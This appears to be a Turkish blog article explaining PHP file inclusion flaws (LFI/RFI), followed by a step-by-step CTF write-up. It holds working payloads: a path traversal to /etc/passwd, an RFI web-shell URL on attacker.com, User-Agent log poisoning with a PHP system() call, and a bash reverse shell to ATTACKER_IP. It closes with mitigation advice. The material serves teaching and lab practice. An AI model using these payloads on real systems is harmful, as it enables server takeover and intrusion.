LFI & RFI Zafiyetlerinin Anatomisi: Log Poisoning ile RCE
Teori, Farklar ve Gerçek Bir CTF Üzerinden Adım Adım Exploit Zinciri
Web güvenliği dünyasında, sunucu taraflı zafiyetler her zaman en kritik riskleri barındırır. Bu zafiyetlerin başında gelen File Inclusion (Dosya Dahil Etme) açıkları, basit bir bilgi sızıntısından başlayıp, sunucunun tamamen ele geçirilmesine (RCE - Remote Code Execution) kadar uzanan geniş bir yıkım potansiyeline sahiptir.
Bu makalede deneyimli bir siber güvenlik araştırmacısı gözüyle; LFI (Local File Inclusion) ve RFI (Remote File Inclusion) kavramlarının teorik altyapısını derinlemesine inceleyecek, aralarındaki kritik farkları analiz edeceğiz. Ardından, teoriyi pratiğe dökerek gerçek bir CTF (Capture The Flag) senaryosu üzerinden "LFI zafiyetinin Log Poisoning (Log Zehirleme) tekniği ile nasıl RCE'ye çevrildiğini" adım adım bir Write-Up formatında işleyeceğiz.
1. File Inclusion (Dosya Dahil Etme) Nedir?
Modern web uygulamaları, kod tekrarını önlemek ve dinamik yapılar kurmak için dosyaları birbirine dahil etme fonksiyonlarını sıkça kullanır. Özellikle PHP ile geliştirilen uygulamalarda, geliştiriciler sayfa içeriklerini dinamik olarak yüklemek için include(), require() gibi fonksiyonlara başvururlar.
<?php
$file = $_GET['page'];
include($file);
?>
Yukarıdaki kod bloğunda, page parametresi üzerinden kullanıcıdan alınan değer, hiçbir filtrelemeden veya güvenlik kontrolünden geçirilmeden doğrudan include() fonksiyonuna verilmektedir. Saldırgan bu parametreyi manipüle ettiğinde, uygulamanın normal akışını bozarak sunucuya kendi istediği bir dosyayı okutabilir veya çalıştırabilir.
🔴 LFI (Local File Inclusion)
Saldırganın hedef sunucunun kendi yerel dosya sisteminde bulunan dosyaları okumasına veya çalıştırmasına olanak tanıyan bir zafiyettir. Genellikle ../ (bir üst dizine çık) karakterleri kullanılarak web dizininden kaçılır.
http://target.com/index.php?page=../../../../etc/passwd
🔵 RFI (Remote File Inclusion)
Saldırganın kendi kontrolündeki uzak bir sunucuda barındırdığı zararlı bir dosyayı (örneğin bir web shell), hedef sunucuya dahil edip doğrudan çalıştırmasıdır. Anında RCE sağlar ancak çalışması için allow_url_include = On olması şarttır.
http://target.com/index.php?page=http://attacker.com/evil-shell.php
🚩 Lab / Write-Up: LFI'dan RCE'ye İstismar Zinciri
Teorik bilgileri geride bırakıp, gerçek bir CTF makinesinde karşılaştığımız bir File Inclusion zafiyetini nasıl adım adım Reverse Shell'e çevirdiğimizi inceleyelim.
Adım 1: Keşif ve Enumeration
Hedef web uygulamasında gezinirken URL'deki ?page= parametresini fark ediyoruz. LFI denemesi için klasik payload'ımızı gönderiyoruz:
http://target.com/index.php?page=../../../../etc/passwd
Ekranda kullanıcı listesini görüyoruz. LFI zafiyeti doğrulandı! RFI denediğimizde ise allow_url_include=0 hatası alıyoruz. Demek ki Log Poisoning yapacağız.
Adım 2: Log Poisoning (Log Zehirleme)
Madem dışarıdan dosya getiremiyoruz, sistemin kendi içindeki bir log dosyasına (örneğin Apache access log) kendi PHP kodumuzu yazdırıp onu LFI ile tetikleyeceğiz.
curl -A "<?php system($_GET['cmd']); ?>" http://target.com/index.php
Bu komut, User-Agent başlığımıza zararlı bir PHP kodu ekledi ve Apache bunu kelimesi kelimesine access.log dosyasına kaydetti.
Şimdi LFI zafiyetini kullanarak bu log dosyasını çağırıyor ve yanına cmd parametresi ekleyerek komut çalıştırıyoruz:
http://target.com/index.php?page=../../../var/log/apache2/access.log&cmd=ls
RCE (Remote Code Execution) elde edildi! 🔥
Adım 3: Reverse Shell Almak
Terminal etkileşimi için kendi makinemize Reverse Shell almalıyız. Önce nc -lvnp 4444 ile dinleyici başlatıyoruz. Ardından Bash reverse shell payload'ını URL Encode ederek gönderiyoruz:
http://target.com/index.php?page=../../../var/log/apache2/access.log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261%27
Son olarak Python ile shell'imizi stabilize ediyoruz: python3 -c 'import pty; pty.spawn("/bin/bash")'
Nasıl Korunuruz?
Bu zafiyetten korunmak için: Kullanıcı girdilerine asla doğrudan güvenmeyin (include() içine doğrudan koymayın). Sadece izin verilen dosyaların olduğu bir Beyaz Liste (Allowlist) kullanın. Web sunucusunun log dosyalarını okuma yetkisini kısıtlayın ve allow_url_include ayarını her zaman kapalı tutun.
